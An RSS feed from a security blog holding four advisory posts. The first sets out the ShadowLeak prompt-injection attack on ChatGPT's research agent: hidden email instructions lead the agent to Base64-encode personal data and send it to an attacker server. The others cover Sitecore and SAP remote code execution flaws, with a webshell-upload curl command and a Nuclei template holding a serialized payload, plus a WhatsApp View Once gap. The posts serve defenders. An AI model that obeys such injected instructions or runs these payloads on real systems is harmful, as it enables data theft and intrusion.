<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Bypassec]]></title><description><![CDATA[Bypassec is a hacking competition platform that allows companies to test their applications and find vulnerabilities, providing a mixed experience between the world of pentesting and bug bounty.]]></description><link>https://blog.bypassec.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1757418443977/6d902c62-983d-456c-8763-10418a91aafa.png</url><title>Bypassec</title><link>https://blog.bypassec.com</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 29 May 2026 20:02:48 GMT</lastBuildDate><atom:link href="https://blog.bypassec.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA['ShadowLeak' Attack Enables Data Theft in ChatGPT]]></title><description><![CDATA[Cybersecurity in Artificial Intelligence (AI) platforms has become a growing focus as these tools integrate more deeply into our personal and professional lives. Recently, a significant vulnerability ]]></description><link>https://blog.bypassec.com/shadow-leak-attack-enables-data-theft-chatgpt</link><guid isPermaLink="true">https://blog.bypassec.com/shadow-leak-attack-enables-data-theft-chatgpt</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Bypassec]]></dc:creator><pubDate>Tue, 23 Sep 2025 22:35:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1758666786303/32739ef8-fe21-4cf7-8df6-cbda4c734ca1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cybersecurity in Artificial Intelligence (AI) platforms has become a growing focus as these tools integrate more deeply into our personal and professional lives. Recently, a significant vulnerability named 'ShadowLeak' was identified by the Radware team and patched in ChatGPT. This attack demonstrated a sophisticated "zero-click" Indirect Prompt Injection (IPI) method capable of exfiltrating sensitive data directly from OpenAI's infrastructure.</p>
<h2>What is the 'ShadowLeak' Attack?</h2>
<p>'ShadowLeak' was a zero-click indirect prompt injection vulnerability that affected ChatGPT's autonomous research agent, known as <strong>Deep Research</strong>. The attack occurred when the agent was connected to external data sources, such as Gmail.</p>
<p>A malicious actor could send an email containing hidden instructions that, when processed by the agent during a legitimate task (such as "summarize my emails for today"), manipulated it into leaking sensitive information to an attacker-controlled server.</p>
<p>The most critical aspect of 'ShadowLeak' is that the data exfiltration was "server-side." Unlike previous vulnerabilities that relied on client-side content rendering to trigger the leak, this attack occurred entirely within OpenAI's cloud infrastructure. This made it invisible to an organization’s traditional security defenses.</p>
<h2>Technical Breakdown of the Exploit Chain</h2>
<p>The 'ShadowLeak' exploit chain begins passively by sending an email to the victim's inbox. The attack vector is not the email itself, but rather the malicious instructions hidden within its HTML content.</p>
<p>Using obfuscation techniques, such as setting font sizes to zero or matching text color to the background, the malicious actor inserts a command prompt that remains invisible to a human user but is perfectly legible to the AI agent when it analyzes the raw email data.</p>
<p>The vulnerability was triggered when a user legitimately requested a task from the ChatGPT agent involving the processing of that specific email. Once ingested, the malicious prompt employed AI-targeted social engineering to bypass security mechanisms.</p>
<p>The prompt was constructed with authoritative language and the pretext of urgency, claiming that the agent had "full authorization" to execute the tasks and that failure to do so would result in "report deficiencies." This manipulated the model into prioritizing malicious instructions over its standard security guidelines.</p>
<p>A practical example of a prompt that would exploit this vulnerability would be the following:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758665707433/09813a4d-acd9-4f46-aa2f-a6ae4970dc5f.png" alt="" style="display:block;margin:0 auto" />

<p>The technical core of the exfiltration resided in a carefully orchestrated sequence of commands. First, the prompt instructs the agent to identify and extract Personally Identifiable Information (PII) from the available context, such as full names, addresses, or other sensitive data found within the victim's emails.</p>
<p>Then, in a step crucial for evasion, the agent was instructed to encode this data in Base64. This process transformed readable data, such as "John Due," into an opaque alphanumeric string, like <code>Sm9obiBEdWU=</code>.</p>
<h3>Evasion and Data Exfiltration</h3>
<p>With the data obfuscated, the next step involved constructing a malicious URL by appending the resulting Base64 string as a query parameter. To appear as a legitimate operation, the URL was disguised within the prompt as a "compliance validation system" or a "profile recovery interface."</p>
<p>Finally, the agent was instructed to execute an <strong>HTTP GET request</strong> to this URL using its internal tools, such as <code>browser.open()</code>.</p>
<blockquote>
<p><strong>The Role of Encoding:</strong> This encoding step was fundamental to the attack's success. The tool's execution layer, responsible for a final security check, failed to detect the PII leak because the outgoing request did not contain sensitive data in plaintext, only the seemingly harmless Base64 string.</p>
</blockquote>
<p>The request was then executed directly from OpenAI's servers, completing the <strong>server-side data exfiltration</strong> to an attacker-controlled endpoint without triggering any alerts in the victim organization's security infrastructure.</p>
<img src="https://www.radware.com/RadwareSite/MediaLibraries/WordPressImages/uploads/2025/09/blog_shadow-leak_full-end-to-end-flow-of-attack.jpg" alt="https://www.radware.com/RadwareSite/MediaLibraries/WordPressImages/uploads/2025/09/blog_shadow-leak_full-end-to-end-flow-of-attack.jpg" />

<h3>Potential Impact</h3>
<p>The impact of 'ShadowLeak' was severe due to its stealthy nature and the point of origin of the exfiltration.</p>
<ul>
<li><p><strong>Invisibility to Corporate Defenses:</strong> Since the data leak originated from OpenAI's infrastructure, rather than the victim's devices or corporate network, enterprise security tools (such as DLP, EDR, and firewalls) were completely blind to the attack.</p>
</li>
<li><p><strong>Exposure of Sensitive Data:</strong> The attack could leak any information that the ChatGPT agent could access. In the case of Gmail, this included PII, financial data, and credentials. If connected to other sources like Google Drive, Microsoft Teams, or GitHub, the scope would expand to include source code, contracts, and other proprietary information.</p>
</li>
</ul>
<h2>OpenAI's Response and Mitigation</h2>
<p>OpenAI was notified of the vulnerability on <strong>June 18, 2025</strong>, and the flaw was patched in <strong>early August 2025</strong>. Mitigation efforts involved enhancing the agent's security controls to detect and block prompt injection attempts that lead to unauthorized data exfiltration actions.</p>
<h2>Conclusion</h2>
<p>The 'ShadowLeak' attack represents a milestone in the evolution of AI security threats. It demonstrated that the attack surface has expanded from the client to the server, making detection and prevention significantly more challenging.</p>
<p>As organizations increasingly integrate autonomous AI agents into their workflows, it is imperative to treat them not as mere chatbots, but as privileged systems that require rigorous governance, monitoring, and security controls.</p>
<h2>References</h2>
<ul>
<li><p><a href="https://www.radware.com/blog/threat-intelligence/shadowleak/">Radware. (2025). <em>ShadowLeak: A Zero-Click, Service-Side Attack Exfiltrating Sensitive Data Using ChatGPT's Agent</em>.</a></p>
</li>
<li><p><a href="https://www.radware.com/security/threat-advisories-and-attack-reports/shadowleak/">Radware. (2025). <em>ShadowLeak: The First Service-Side Leaking, Zero-click Indirect Prompt Injection Vulnerability</em>.</a></p>
</li>
<li><p><a href="https://securityjoes.com/blog/shadowleak-server-side-data-theft-in-chatgpt-zero-click-attack-method-in-the-wild">Security Joes. (2025). <em>ShadowLeak: Server-side Data Theft in ChatGPT – Zero-Click Attack Method in the Wild</em>.</a></p>
</li>
<li><p><a href="https://www.bleepingcomputer.com/news/security/openai-fixes-zero-click-server-side-data-theft-in-chatgpt-shadowleak/">BleepingComputer. (2025). <em>OpenAI fixes zero-click server-side data theft in ChatGPT (ShadowLeak)</em>.</a></p>
</li>
<li><p><a href="https://thehackernews.com/2025/09/openai-patches-critical-zero-click.html">The Hacker News. (2025). <em>OpenAI Patches Critical Zero-Click ShadowLeak Vulnerability in ChatGPT</em>.</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[CVE-2025-53690: Remote Code Execution in Sitecore Platforms]]></title><description><![CDATA[Introduction
Identified on September 3, 2025, CVE-2025-53690 is a critical flaw affecting multiple products within the Sitecore platform. The vulnerability consists of an untrusted data deserializatio]]></description><link>https://blog.bypassec.com/cve-2025-53690-sitecore-remote-code-execution</link><guid isPermaLink="true">https://blog.bypassec.com/cve-2025-53690-sitecore-remote-code-execution</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Security]]></category><category><![CDATA[pentesting]]></category><dc:creator><![CDATA[Bypassec]]></dc:creator><pubDate>Wed, 10 Sep 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1757972652995/0c2d1e1d-b21a-46ed-80a1-11e5e39e7cf1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>Identified on September 3, 2025, CVE-2025-53690 is a critical flaw affecting multiple products within the Sitecore platform. The vulnerability consists of an untrusted data deserialization issue in the ASP.NET ViewState mechanism. It is exploited via a static key exposed in legacy Sitecore documentation, allowing an unauthenticated attacker to execute code remotely on vulnerable instances.</p>
<p>CVE-2025-53690 is currently being actively exploited in the wild, which led the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add it to its Known Exploited Vulnerabilities (KEV) catalog.</p>
<h2>Affected Versions</h2>
<p>This vulnerability does not reside in a specific software version but rather in an insecure configuration. Implementations at risk are those that used a static and public <code>machineKey</code> provided in legacy Sitecore installation guides.</p>
<p>The table below details the potentially impacted products:</p>
<table style="min-width:50px"><colgroup><col style="min-width:25px"></col><col style="min-width:25px"></col></colgroup><tbody><tr><td><p><strong>Product</strong></p></td><td><p><strong>Affected Versions</strong></p></td></tr><tr><td><p><strong>Sitecore Experience Manager (XM)</strong></p></td><td><p>All versions up to 9.0</p></td></tr><tr><td><p><strong>Sitecore Experience Platform (XP)</strong></p></td><td><p>All versions up to 9.0</p></td></tr><tr><td><p><strong>Sitecore Experience Commerce (XC)</strong></p></td><td><p>All multi-instance versions with customer-managed keys</p></td></tr><tr><td><p><strong>Sitecore Managed Cloud</strong></p></td><td><p>Standard environments with Containers in multi-instance mode</p></td></tr></tbody></table>

<h2>Technical Details</h2>
<p>The exploitation of CVE-2025-53690 fundamentally depends on a configuration flaw, transforming an insecure implementation practice into a vector for Remote Code Execution (RCE).</p>
<h3>Root Cause</h3>
<p>The root cause of the vulnerability is the use of a static ASP.NET <code>machineKey</code> in production environments. This key was publicly disclosed in Sitecore installation guides dating back to 2017 and earlier. ASP.NET uses the <code>machineKey</code> to ensure the integrity and confidentiality of data such as the <code>ViewState</code>, which stores the state of a web page.</p>
<p>When an attacker knows this static key, they can generate a malicious ViewState payload, sign it with the key, and send it to the server. The server, in turn, trusts the signature because the key matches the one configured in its <code>web.config</code> file. Consequently, the application deserializes the malicious object contained within the ViewState, executing the injected code within the network service context.</p>
<h3>Preconditions</h3>
<p>For the exploitation to be successful, the following conditions must be met:</p>
<ul>
<li><p><strong>Internet Exposure:</strong> The Sitecore instance must be exposed to the internet.</p>
</li>
<li><p><strong>Vulnerable Configuration:</strong> The environment must use the static, public <code>machineKey</code> found in legacy documentation. This is not a default configuration in recent installations.</p>
</li>
</ul>
<blockquote>
<p>No level of privilege or authentication is required for the initial attack.</p>
</blockquote>
<h3>Exploitation Process</h3>
<p>The exploitation process begins with the attacker identifying a vulnerable Sitecore instance. Research indicates that attackers focus their attempts on the <code>/sitecore/blocked.aspx</code> endpoint, a page that utilizes a hidden <strong>ViewState</strong> form field.</p>
<ol>
<li><p><strong>Payload Generation:</strong> A tool like <a href="http://ysoserial.net"><strong>ysoserial.net</strong></a> is used to generate a serialized payload. This payload is typically a .NET object that, upon deserialization, executes a command on the server. In observed attacks, the payload contained a reconnaissance malware known as <strong>WEEPSTEEL</strong>.</p>
</li>
<li><p><strong>Injection:</strong> The malicious payload is inserted into the <code>__VIEWSTATE</code> field of an HTTP POST request directed at the vulnerable page.</p>
</li>
<li><p><strong>Execution:</strong> Because the payload is signed with a <code>machineKey</code> that the server recognizes as valid, the application processes it without suspicion, leading to remote code execution.</p>
</li>
</ol>
<p>Below is a conceptual example of how a payload could be sent:</p>
<pre><code class="language-html">POST /sitecore/blocked.aspx HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded

__VIEWSTATE=[payload serializado e assinado com a chave estática]
</code></pre>
<p>Following initial access, attackers have been observed performing privilege escalation to <code>SYSTEM</code> or <code>ADMINISTRATOR</code> levels. They typically install tunneling tools such as <code>EARTHWORM</code> to establish persistence and conduct extensive reconnaissance within the Active Directory (AD) environment.</p>
<h2>Public Exploits</h2>
<p>While "one-click" weaponized exploits have not yet been identified in the wild, Proof of Concepts (PoCs) and Nuclei templates have already been developed. these facilitate the automated detection of the vulnerability, significantly increasing the risk of mass-scale attacks.</p>
<ul>
<li><strong>Reference:</strong> <a href="https://github.com/projectdiscovery/nuclei-templates/issues/13111">Nuclei Templates Issue #13111</a></li>
</ul>
<h2>Mitigations</h2>
<p>The primary recommendation is to immediately replace the static machineKey with a unique, strong, and automatically generated key. Sitecore has updated its deployment processes to ensure unique keys are generated by default and has published an official security advisory (SC2025-005) with detailed instructions.</p>
<h2>Indicators of Compromise (IoCs)</h2>
<p>To assist in detection efforts, security teams should monitor for the following activity:</p>
<ul>
<li><p><strong>Network Traffic:</strong> Abnormal or high-volume requests to the <code>/sitecore/blocked.aspx</code> endpoint.</p>
</li>
<li><p><strong>Account Creation:</strong> Suspicious new user accounts on the server, such as <code>asp$</code> or <code>sawadmin</code>.</p>
</li>
<li><p><strong>Files/Processes:</strong> Presence of files or processes related to <strong>WEEPSTEEL</strong> malware or the <strong>EARTHWORM</strong> tunneling tool in public application directories.</p>
</li>
<li><p><strong>Detection Rules:</strong> Mandiant has published a YARA rule specifically for detecting WEEPSTEEL malware.</p>
</li>
</ul>
<h2>Conclusion</h2>
<p>CVE-2025-53690 is a critical vulnerability that highlights the dangers of insecure configurations, even within robust enterprise software. The combination of active exploitation and the availability of public scanning templates makes it urgent for organizations to verify their Sitecore implementations and apply necessary fixes. A rapid response is essential to prevent remote code execution and full system compromise.</p>
<blockquote>
<p><strong>Disclaimer:</strong> This article is for informational purposes only. All techniques described herein should only be used ethically and legally within controlled environments and with proper authorization.</p>
</blockquote>
<p><strong>Take your security to the next level:</strong> If you want to test your systems' resilience effectively, we invite you to host a hacking tournament at <a href="https://bypassec.com">Bypassec</a>, a platform where over 100 ethical hackers are ready to identify vulnerabilities in your environment before the bad actors do.</p>
<h2>References</h2>
<ul>
<li><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-53690">NVD - CVE-2025-53690 Detail</a></p>
</li>
<li><p><a href="https://cloud.google.com/blog/topics/threat-intelligence/viewstate-deserialization-zero-day-vulnerability">Google Cloud Blog - ViewState Deserialization Zero-Day</a></p>
</li>
<li><p><a href="https://www.helpnetsecurity.com/2025/09/04/sitecore-zero-day-vulnerability-cve-2025-53690-exploited/">Help Net Security - Sitecore zero-day exploited</a></p>
</li>
<li><p><a href="https://support.sitecore.com/kb?id=kb_article_view&amp;sysparm_article=KB1003865">Sitecore Support - Security Bulletin SC2025-005</a></p>
</li>
<li><p><a href="https://zeropath.com/blog/cve-2025-53690-sitecore-deserialization-summary">ZeroPath Blog - CVE-2025-53690 Summary</a></p>
</li>
<li><p><a href="https://github.com/projectdiscovery/nuclei-templates/issues/13111">GitHub - Nuclei Templates</a></p>
</li>
<li><p><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA Known Exploited Vulnerabilities</a></p>
</li>
<li><p><a href="https://thehackernews.com/2025/09/cisa-orders-immediate-patch-of-critical.html">The Hacker News - CISA Orders Patch</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Do you really trust WhatsApp View Once?]]></title><description><![CDATA[WhatsApp's view once functionality was created to protect sensitive content, allowing the recipient to open a photo or video only once before the file is deleted. The proposal is simple: to offer an a]]></description><link>https://blog.bypassec.com/whatsapp-view-once-weak</link><guid isPermaLink="true">https://blog.bypassec.com/whatsapp-view-once-weak</guid><category><![CDATA[Security]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[pentesting]]></category><dc:creator><![CDATA[Bypassec]]></dc:creator><pubDate>Tue, 09 Sep 2025 11:23:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1757416821546/fd6c464b-b631-4624-963e-5e6a4f80412c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>WhatsApp's <a href="https://faq.whatsapp.com/1077018839582332/?cms_id=1077018839582332&amp;draft=false">view once</a> functionality was created to protect sensitive content, allowing the recipient to open a photo or video only once before the file is deleted. The proposal is simple: to offer an additional layer of privacy in conversations involving images that should not be stored on the device.</p>
<p>In practice, however, the functionality presents limitations that can compromise this security promise in certain scenarios. Although it is expected that there will always be external ways to capture an image, such as photographing the screen with another phone, we identified that recent versions of iOS and macOS implemented new functionalities which go unnoticed by WhatsApp, opening space for situations where it is not possible to identify certain screen captures and mirroring.</p>
<hr />
<h2>The expected behavior on Android</h2>
<p>On Android, WhatsApp adopts a very rigid strategy: when it detects that an external application is trying to record or mirror the screen, the application replaces the sensitive content with a black screen. This prevents both the recording and indirect viewing of the media in real time. The result is consistent protection against capture attempts.</p>
<h2>The scenario on iOS with macOS Sequoia 15+</h2>
<p>On iOS, screen recording blocking continues to work as expected. The problem arises, however, when using the <a href="https://support.apple.com/pt-br/120421">iPhone Mirroring</a> feature on <strong>macOS Sequoia 15</strong>. In this case, WhatsApp does not prevent the display of the image marked as View Once.</p>
<p>This means that, although recording is correctly blocked, it is still possible to take screenshots directly on the Mac while the image is displayed. This technical detail transforms a feature that should be transitory into something potentially persistent, contradicting the security objective of the functionality.</p>
<p>To reproduce this behavior, just follow a few simple steps:</p>
<ol>
<li>On a MacBook with macOS Sequoia 15 or later, start the iPhone Mirroring application.</li>
</ol>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757364664380/a916edaa-d473-4fee-8f9e-a8f336d2d7e2.png" alt="" style="display:block;margin:0 auto" />

<ol>
<li><p>On WhatsApp, send an image configured as "View Once".</p>
</li>
<li><p>Open the image on the iPhone mirrored on the MacBook.</p>
</li>
</ol>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757364671153/d3228127-9f61-4a8a-a71c-dc58dfbc233c.png" alt="" style="display:block;margin:0 auto" />

<p>In this way, it is possible to observe that the view once image, in this example a QR code, is displayed without any restriction on the macOS screen. This screen can later be used to take a screenshot or even be connected to a broadcast display and accidentally leak sensitive content.</p>
<h2>Practical implications</h2>
<p>This technical detail should not be confused with a critical security flaw but rather understood as a <strong>limitation of the View Once protection model</strong>. The problem was recognized by Meta itself, the owner of WhatsApp, which does not intend to fix it in the short term because it considers it an acceptable risk within the purpose of the feature.</p>
<p>The most worrying implication is not just the possibility of extracting the image but the risk of accidental exposure. In contexts of screen sharing in meetings, broadcasts or presentations, content that should be ephemeral could end up being involuntarily displayed to third parties.</p>
<h2>Conclusion</h2>
<p>View Once remains a useful layer of privacy but it should not be seen as an insurmountable barrier. The case observed on iOS with macOS Sequoia shows how different combinations of platforms can create unexpected exceptions to the designed behavior.</p>
<p>For users, the lesson is clear. Content sent via WhatsApp, even with additional security features, <strong>should not be treated as fully protected against copying or exposure</strong>. Technology can reduce risks but it does not eliminate the possibility that supposedly ephemeral messages will be preserved.</p>
]]></content:encoded></item><item><title><![CDATA[CVE-2025-31324: Remote Code Execution in SAP NetWeaver Visual Composer]]></title><description><![CDATA[Introduction
CVE-2025-31324, published on April 24, 2025, on the NVD, is a critical flaw in the Metadata Uploader component of SAP NetWeaver Visual Composer. Initially identified by ReliaQuest on Apri]]></description><link>https://blog.bypassec.com/cve-2025-31324-remote-code-execution-in-sap-netweaver-visual-composer</link><guid isPermaLink="true">https://blog.bypassec.com/cve-2025-31324-remote-code-execution-in-sap-netweaver-visual-composer</guid><category><![CDATA[Security]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Bypassec]]></dc:creator><pubDate>Thu, 01 May 2025 01:54:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1746037385076/661a1562-489f-45bc-beac-6ffaf996eb98.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>CVE-2025-31324, published on April 24, 2025, on the <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-31324">NVD</a>, is a critical flaw in the Metadata Uploader component of SAP NetWeaver Visual Composer. Initially identified by ReliaQuest on April 22, 2025, as reported in their <a href="https://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise/">blog</a>, it allows unauthenticated attackers to upload malicious files, resulting in remote code execution (RCE).</p>
<p>With a CVSS 3.1 score of 10.0, the vulnerability has a severe impact, potentially leading to the complete compromise of the confidentiality, integrity, and availability of affected systems. Evidence of active exploitation since January 20, 2025, as documented by <a href="https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/">Onapsis</a>, characterizes it as a zero-day vulnerability. CISA included the flaw in its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">Known Exploited Vulnerabilities Catalog</a> on April 29, 2025, reinforcing the urgency of mitigation.</p>
<h2>Affected Versions</h2>
<p>The vulnerability affects the SAP Visual Composer (VCFRAMEWORK) component in all versions of SAP NetWeaver 7.xx (all Support Packs – SPS), which operates on the NetWeaver Java stack.</p>
<p>Specifically, the vulnerable component is the Metadata Uploader, present at the /developmentserver/metadatauploader endpoint. Although Visual Composer is not installed by default, it is widely enabled, with estimates suggesting that 50% to 70% of NetWeaver Java systems are potentially vulnerable, according to <a href="https://hackread.com/sap-netweaver-flaw-severity-hackers-deploy-web-shells/">Hackread</a>.</p>
<h3>Table of Affected Versions</h3>
<table>
<thead>
<tr>
<th>Product</th>
<th>Version</th>
<th>Affected Component</th>
<th>Notes</th>
</tr>
</thead>
<tbody><tr>
<td>SAP NetWeaver</td>
<td>7.xx (all SPS)</td>
<td>Visual Composer (Metadata Uploader)</td>
<td>Requires VCFRAMEWORK component installed</td>
</tr>
</tbody></table>
<h2>Technical Details</h2>
<p>The flaw lies in the Metadata Uploader component, which does not validate the identity or permissions of the user when processing upload requests at the /developmentserver/metadatauploader endpoint. This allows unauthenticated attackers to send executable files, such as JSP webshells, to publicly accessible directories, resulting in RCE.</p>
<h3>Exploitation Process</h3>
<p>The attack occurs via HTTP/POST requests to the /developmentserver/metadatauploader endpoint. An attacker can send a malicious file, such as a JSP webshell, which is stored in directories such as /usr/sap//j2ee/cluster/apps/<a href="https://www.google.com/search?q=https://sap.com/irj/servlet_jsp/irj/root">sap.com/irj/servlet_jsp/irj/root</a>.</p>
<p>A hypothetical example of exploitation using curl would be:</p>
<pre><code class="language-bash">curl -X POST -F "file=@webshell.jsp" http://&lt;target&gt;/developmentserver/metadatauploader/developmentserver/metadatauploader?CONTENTTYPE=MODEL&amp;CLIENT=1
</code></pre>
<p>After the upload, the webshell can be accessed via a GET request at <code>http://&lt;target&gt;/irj/webshell.jsp</code>, allowing the execution of arbitrary commands on the server.</p>
<h3>Public Exploits</h3>
<p>Although full exploits are not widely available, the ease of detection and exploitation of the vulnerability serves as a warning to organizations.</p>
<p>Onapsis has made an <a href="https://github.com/Onapsis/Onapsis_CVE-2025-31324_Scanner_Tools">open-source scanner</a> available on GitHub to check for the presence of the vulnerable component, patch status, and known webshells. RedRays also published a <a href="https://github.com/redrays-io/CVE-2025-31324">scanner</a> that detects the vulnerability and malicious files.</p>
<p>Additionally, a <a href="https://cloud.projectdiscovery.io/library/CVE-2025-31324">Nuclei template</a> for the CVE is already available, allowing for mass detection of currently vulnerable applications.</p>
<pre><code class="language-yaml">id: CVE-2025-31324

info:
  name: SAP NetWeaver Visual Composer Metadata Uploader - Deserialization
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.
  reference:
    - https://www.bleepingcomputer.com/news/security/sap-fixes-suspected-netweaver-zero-day-exploited-in-attacks/
    - https://www.theregister.com/2025/04/25/sap_netweaver_patch/
    - https://me.sap.com/notes/3594142
    - https://url.sap/sapsecuritypatchday
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-31324
    cwe-id: CWE-434
    epss-score: 0.00043
    epss-percentile: 0.12532
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SAP NetWeaver Application Server Java"
  tags: cve,cve2025,sap,netweaver,rce,deserialization

variables:
  oast: ".{{interactsh-url}}"
  payload: "{{padding(oast,'a',54,'prefix')}}"


http:
  - raw:
      - |
        POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&amp;CLIENT=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data

        {{zip('.properties',replace(base64_decode('rO0ABXNyABRqYXZhLnV0aWwuUHJvcGVydGllczkS0HpwNj6YAgABTAAIZGVmYXVsdHN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHIAE2phdmEudXRpbC5IYXNodGFibGUTuw8lIUrkuAMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAADdwgAAAAFAAAAAnQADnByb2plY3QtbmF0dXJlc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAFzcgAMamF2YS5uZXQuVVJMliU3Nhr85HIDAAdJAAhoYXNoQ29kZUkABHBvcnRMAAlhdXRob3JpdHl0ABJMamF2YS9sYW5nL1N0cmluZztMAARmaWxlcQB+AAhMAARob3N0cQB+AAhMAAhwcm90b2NvbHEAfgAITAADcmVmcQB+AAh4cP//////////dAA2YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhdAAAcQB+AAp0AARodHRwcHh0AD1odHRwOi8vYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheHQAC0VYUE9SVC1OQU1FdAATc29tZV9wcm9qZWN0X25hbWV4eHhw'),'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',payload))}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains_all(body, 'FAILED', 'Cause')
        condition: and
# digest: 4a0a00473045022100f5b505da6330ce6f914842169ea999457eb6ccd6702d7f10011b8b67aabd107b02203d3504d0f406612d5ccbdde93d7c452e029e4393550688a47e9410d9ce68425a:922c64590222798bb761d5b6d8e72950
</code></pre>
<h3>Indicators of Compromise (IoCs)</h3>
<p>Onapsis identified the following IoCs to detect compromised systems:</p>
<ul>
<li><p>Suspicious files: <code>.jsp</code>, <code>.java</code> , or <code>.class</code> files in <code>/usr/sap/&lt;SID&gt;/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root</code>, <code>/work</code> or <code>/work/sync</code>.</p>
</li>
<li><p>Known hashes:</p>
<ul>
<li><p><code>helper.jsp</code> : SHA-256 1f72bd2643995fab4ecf7150b6367fa1b3fab17afd2abed30a98f075e4913087</p>
</li>
<li><p><code>cache.jsp</code>: SHA-256 794cb0a92f51e1387a6b316b8b5ff83d33a51ecf9bf7cc8e88a619ecb64f1dcf</p>
</li>
<li><p>Files with random 8 character names (example: [a-z]{8}.jsp): SHA-256 b3e4c4018f2d18ec93a62f59b5f7341321aff70d08812a4839b762ad3ade74ee</p>
</li>
</ul>
</li>
</ul>
<h3>Exploitation Requirements</h3>
<ul>
<li><p>Endpoint: Access to the /developmentserver/metadatauploader endpoint via HTTP/HTTPS, with no authentication required.</p>
</li>
<li><p>MITRE ATT&amp;CK Tactics: T1190 (Exploit Public-Facing Application), T1505.003 (Server Software Component: Web Shell).</p>
</li>
</ul>
<h2>Mitigations</h2>
<h3>Official Patch</h3>
<p>SAP released an emergency patch in SAP Security Note 3594142, available to customers on the support portal. Immediate application of the patch is the recommended solution to eliminate the vulnerability.</p>
<h3>Temporary Measures</h3>
<p>While the patch is not yet applied, the following actions can reduce risk:</p>
<ol>
<li><p>Restrict Access: Configure firewall rules or use SAP security features to block requests to the /developmentserver/metadatauploader endpoint.</p>
</li>
<li><p>Disable Visual Composer: If the component is not essential, disable it to eliminate the attack surface.</p>
</li>
<li><p>Monitoring and Detection: Forward logs to a SIEM system and scan directories such as <code>/usr/sap/&lt;SID&gt;/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root</code> for unauthorized files, verifying the mentioned hashes.</p>
</li>
</ol>
<h2>Conclusion</h2>
<p>CVE-2025-31324 represents a critical threat due to its ability to allow full control over SAP NetWeaver systems without authentication, with active exploitation confirmed since January 2025. Its inclusion in the CISA Known Exploited Vulnerabilities Catalog and its CVSS 10.0 score highlight the need for immediate action. Organizations should prioritize applying the patch from SAP Security Note 3594142, implement temporary measures, and monitor systems for signs of compromise.</p>
<p>If you want to test the security of your systems in a practical and effective way, we invite you to host a hacking tournament on <a href="https://bypassec.com/contact">Bypassec</a>, a gamified platform with more than 100 ethical hackers ready to identify vulnerabilities in your environment.</p>
<h2>References</h2>
<ul>
<li><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-31324">NVD - CVE-2025-31324</a></p>
</li>
<li><p><a href="https://www.bleepingcomputer.com/news/security/sap-fixes-suspected-netweaver-zero-day-exploited-in-attacks/">BleepingComputer - SAP fixes suspected NetWeaver zero-day exploited in attacks</a></p>
</li>
<li><p><a href="https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/">Onapsis - Active Exploitation of SAP Zero-Day Vulnerability (CVE-2025-31324)</a></p>
</li>
